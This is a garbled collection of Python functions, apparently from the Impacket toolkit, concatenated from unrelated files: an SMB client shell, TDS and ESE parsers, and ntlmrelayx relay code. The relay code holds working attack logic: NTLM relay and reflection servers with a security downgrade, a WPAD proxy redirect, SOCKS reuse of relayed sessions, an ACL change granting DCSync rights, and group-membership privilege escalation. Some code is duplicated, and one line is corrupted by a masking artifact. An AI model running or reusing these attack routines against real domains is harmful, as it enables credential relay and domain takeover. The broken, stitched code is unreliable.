def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file)
def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print((resp[i]['shi1_netname'][:-1]))
def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True
def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True
def openFile(self, treeId, pathName, desiredAccess = FILE_READ_DATA | FILE_WRITE_DATA, shareMode = FILE_SHARE_READ, creationOption = FILE_NON_DIRECTORY_FILE, creationDisposition = FILE_OPEN, fileAttributes = FILE_ATTRIBUTE_NORMAL, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None): """ opens a remote file :param HANDLE treeId: a valid handle for the share where the file is to be opened :param string pathName: the path name to open :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: pathName = string.replace(pathName, '/', '\\') ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data() ntCreate['Parameters']['FileNameLength']= len(pathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes']= fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code())
def printReplies(self): for keys in self.replies.keys(): for i, key in enumerate(self.replies[keys]): if key['TokenType'] == TDS_ERROR_TOKEN: error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) LOG.error(error) elif key['TokenType'] == TDS_INFO_TOKEN: LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) elif key['TokenType'] == TDS_LOGINACK_TOKEN: LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): record = TDS_ENVCHANGE_VARCHAR(key['Data']) if record['OldValue'] == '': record['OldValue'] = 'None'.encode('utf-16le') elif record['NewValue'] == '': record['NewValue'] = 'None'.encode('utf-16le') if key['Type'] == TDS_ENVCHANGE_DATABASE: _type = 'DATABASE' elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: _type = 'LANGUAGE' elif key['Type'] == TDS_ENVCHANGE_CHARSET: _type = 'CHARSET' elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: _type = 'PACKETSIZE' else: _type = "%d" % key['Type'] LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
def get_address(self): address = get_bytes( self.buffer, 5, self.get_address_length() ) if self.get_protocol()==AddressDetails.PROTOCOL_IP: return socket.inet_ntoa(address) else: LOG.error("Address not IP") return address
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def getTag(self, tagNum): if self.record['FirstAvailablePageTag'] < tagNum: LOG.error('Trying to grab an unknown tag 0x%x' % tagNum) raise tags = self.data[-4*self.record['FirstAvailablePageTag']:] baseOffset = len(self.record) for i in range(tagNum): tags = tags[:-4] tag = tags[-4:] if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192: valueSize = unpack('<H', tag[:2])[0] & 0x7fff valueOffset = unpack('<H',tag[2:])[0] & 0x7fff tmpData = list(self.data[baseOffset+valueOffset:][:valueSize]) pageFlags = ord(tmpData[1]) >> 5 tmpData[1] = chr(ord(tmpData[1]) & 0x1f) tagData = "".join(tmpData) else: valueSize = unpack('<H', tag[:2])[0] & 0x1fff pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13 valueOffset = unpack('<H',tag[2:])[0] & 0x1fff tagData = self.data[baseOffset+valueOffset:][:valueSize] #return pageFlags, self.data[baseOffset+valueOffset:][:valueSize] return pageFlags, tagData
def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname)
def handle_one_request(self): try: http.server.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.error('Exception in HTTP request handler: %s' % e)
def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: LOG.error('Exception in HTTP request handler: %s' % e) LOG.debug(traceback.format_exc())
def initConnection(self): self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) self.authTag = self.session._new_tag() LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) if 'AUTH=NTLM' not in self.session.capabilities: LOG.error('IMAP server does not support NTLM authentication!') return False return True
def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False)
def getUserInfo(self, domainDumper, samname): entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: dn = self.client.entries[0].entry_dn sid = self.client.entries[0]['objectSid'] return (dn, sid) except IndexError: LOG.error('User not found in LDAP: %s' % samname) return False
def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: import traceback traceback.print_exc() LOG.error(e) return retVal
def readTargets(self): try: with open(self.filename,'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target is not None: self.originalTargets.extend(self.processTarget(target, self.protocolClients)) except IOError, e: LOG.error("Could not open file: %s - " % (self.filename, str(e)))
def initConnection(self): self.session = smtplib.SMTP(self.targetHost,self.targetPort) # Turn on to debug SMTP messages # self.session.debuglevel = 3 self.session.ehlo() if 'AUTH NTLM' not in self.session.ehlo_resp: LOG.error('SMTP server does not support NTLM authentication!') return False return True
def parseReply(self, tokens,tuplemode=False): if len(tokens) == 0: return False replies = {} while len(tokens) > 0: tokenID = struct.unpack('B',tokens[0])[0] if tokenID == TDS_ERROR_TOKEN: token = TDS_INFO_ERROR(tokens) elif tokenID == TDS_RETURNSTATUS_TOKEN: token = TDS_RETURNSTATUS(tokens) elif tokenID == TDS_INFO_TOKEN: token = TDS_INFO_ERROR(tokens) elif tokenID == TDS_LOGINACK_TOKEN: token = TDS_LOGIN_ACK(tokens) elif tokenID == TDS_ENVCHANGE_TOKEN: token = TDS_ENVCHANGE(tokens) if token['Type'] is TDS_ENVCHANGE_PACKETSIZE: record = TDS_ENVCHANGE_VARCHAR(token['Data']) self.packetSize = string.atoi( record['NewValue'].decode('utf-16le') ) elif token['Type'] is TDS_ENVCHANGE_DATABASE: record = TDS_ENVCHANGE_VARCHAR(token['Data']) self.currentDB = record['NewValue'].decode('utf-16le') elif (tokenID == TDS_DONEINPROC_TOKEN) |\ (tokenID == TDS_DONEPROC_TOKEN): token = TDS_DONEINPROC(tokens) elif tokenID == TDS_ORDER_TOKEN: token = TDS_ORDER(tokens) elif tokenID == TDS_ROW_TOKEN: #print "ROW" token = TDS_ROW(tokens) tokenLen = self.parseRow(token,tuplemode) token['Data'] = token['Data'][:tokenLen] elif tokenID == TDS_COLMETADATA_TOKEN: #print "COLMETA" token = TDS_COLMETADATA(tokens) tokenLen = self.parseColMetaData(token) token['Data'] = token['Data'][:tokenLen] elif tokenID == TDS_DONE_TOKEN: token = TDS_DONE(tokens) else: LOG.error("Unknown Token %x" % tokenID) return replies if replies.has_key(tokenID) is not True: replies[tokenID] = list() replies[tokenID].append(token) tokens = tokens[len(token):] #print "TYPE 0x%x, LEN: %d" %(tokenID, len(token)) #print repr(tokens[:10]) return replies
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]) self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug('No authentication provided, prompting for basic authentication') reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','',''] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def getSMBPacket(self): data = self.__NBSession.recv_packet() try: packet = NewSMBPacket(data=data.get_trailer()) smbCommand = SMBCommand(packet['Data'][0]) except Exception, e: # Maybe a SMB2 packet? try: packet = SMB2Packet(data = data.get_trailer()) smbCommand = None except Exception, e: LOG.error('SOCKS: %s' % str(e))
def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close()
def openFile( self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None, ): """ opens a remote file :param HANDLE treeId: a valid handle for the share where the file is to be opened :param string pathName: the path name to open :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: _, flags2 = self._SMBConnection.get_flags() pathName = pathName.replace("/", "\\") pathName = pathName.encode("utf-16le") if flags2 & smb.SMB.FLAGS2_UNICODE else pathName ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate["Parameters"] = smb.SMBNtCreateAndX_Parameters() ntCreate["Data"] = smb.SMBNtCreateAndX_Data(flags=flags2) ntCreate["Parameters"]["FileNameLength"] = len(pathName) ntCreate["Parameters"]["AccessMask"] = desiredAccess ntCreate["Parameters"]["FileAttributes"] = fileAttributes ntCreate["Parameters"]["ShareAccess"] = shareMode ntCreate["Parameters"]["Disposition"] = creationDisposition ntCreate["Parameters"]["CreateOptions"] = creationOption ntCreate["Parameters"]["Impersonation"] = impersonationLevel ntCreate["Parameters"]["SecurityFlags"] = securityFlags ntCreate["Parameters"]["CreateFlags"] = 0x16 ntCreate["Data"]["FileName"] = pathName if flags2 & smb.SMB.FLAGS2_UNICODE: ntCreate["Data"]["Pad"] = 0x0 if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd=ntCreate) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code())
def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): """ creates a remote file :param HANDLE treeId: a valid handle for the share where the file is to be created :param string pathName: the path name of the file to create :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: _, flags2 = self._SMBConnection.get_flags() pathName = pathName.replace('/', '\\') pathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) ntCreate['Parameters']['FileNameLength']= len(pathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes']= fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if flags2 & smb.SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code()) else: try: return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, creationDisposition, fileAttributes, impersonationLevel, securityFlags, oplockLevel, createContexts) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code())
def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:") rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) samr.hSamrUnicodeChangePasswordUser2(dce, b'\x00', self.username, self.password, newPassword, self.lmhash, self.nthash) self.password = newPassword self.lmhash = None self.nthash = None
def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close()
def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print(("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])))
def addUserToGroup(self, userDn, domainDumper, groupDn): global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, { 'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True _thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def __init__(self, hive, isRemote = False): self.__hive = hive if isRemote is True: self.fd = self.__hive self.__hive.open() else: self.fd = open(hive,'rb') data = self.fd.read(4096) self.__regf = REG_REGF(data) self.indent = '' self.rootKey = self.__findRootKey() if self.rootKey is None: LOG.error("Can't find root key!") elif self.__regf['MajorVersion'] != 1 and self.__regf['MinorVersion'] > 5: LOG.warning("Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def sendNegotiate(self,negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization':'NTLM %s' % negotiate} self.session.request('GET', self.path ,headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask, display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close()
def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error( 'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0] == '\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def do_attack(self, client): #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties # Check if SOCKS is enabled and if we support the target scheme if self.config.runSocks and self.target.scheme.upper( ) in self.config.socksServer.supportedSchemes: if self.config.runSocks is True: # Pass all the data to the socksplugins proxy activeConnections.put( (self.target.hostname, client.targetPort, self.target.scheme.upper(), self.authUser, client, client.sessionData)) return # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks if self.target.scheme.upper() in self.config.attacks: # We have an attack.. go for it clientThread = self.config.attacks[self.target.scheme.upper()]( self.config, client.session, self.authUser) clientThread.start() else: LOG.error('No attack configured for %s' % self.target.scheme.upper())
def do_attack(self): # Check if SOCKS is enabled and if we support the target scheme if self.server.config.runSocks and self.target.scheme.upper( ) in self.server.config.socksServer.supportedSchemes: # Pass all the data to the socksplugins proxy activeConnections.put( (self.target.hostname, self.client.targetPort, self.target.scheme.upper(), self.authUser, self.client, self.client.sessionData)) return # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks if self.target.scheme.upper() in self.server.config.attacks: # We have an attack.. go for it clientThread = self.server.config.attacks[ self.target.scheme.upper()](self.server.config, self.client.session, self.authUser) clientThread.start() else: LOG.error('No attack configured for %s' % self.target.scheme.upper())
def __init__(self, data): # Depending on the type of data we'll end up building a different struct dataType = unpack('<H', data[4:][:2])[0] self.structure = self.fixed if dataType == CATALOG_TYPE_TABLE: self.structure += self.other + self.table_stuff elif dataType == CATALOG_TYPE_COLUMN: self.structure += self.column_stuff elif dataType == CATALOG_TYPE_INDEX: self.structure += self.other + self.index_stuff elif dataType == CATALOG_TYPE_LONG_VALUE: self.structure += self.other + self.lv_stuff elif dataType == CATALOG_TYPE_CALLBACK: raise Exception('CallBack types not supported!') else: LOG.error('Unknown catalog type 0x%x' % dataType) self.structure = () Structure.__init__(self, data) self.structure += self.common Structure.__init__(self, data)
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.relayToHost = False self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) try: http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.error(str(e))
def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/', '\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile( self.tid, self.pwd, creationOption=FILE_DIRECTORY_FILE, desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE) self.smb.closeFile(self.tid, fid) except SessionError: self.pwd = oldpwd raise
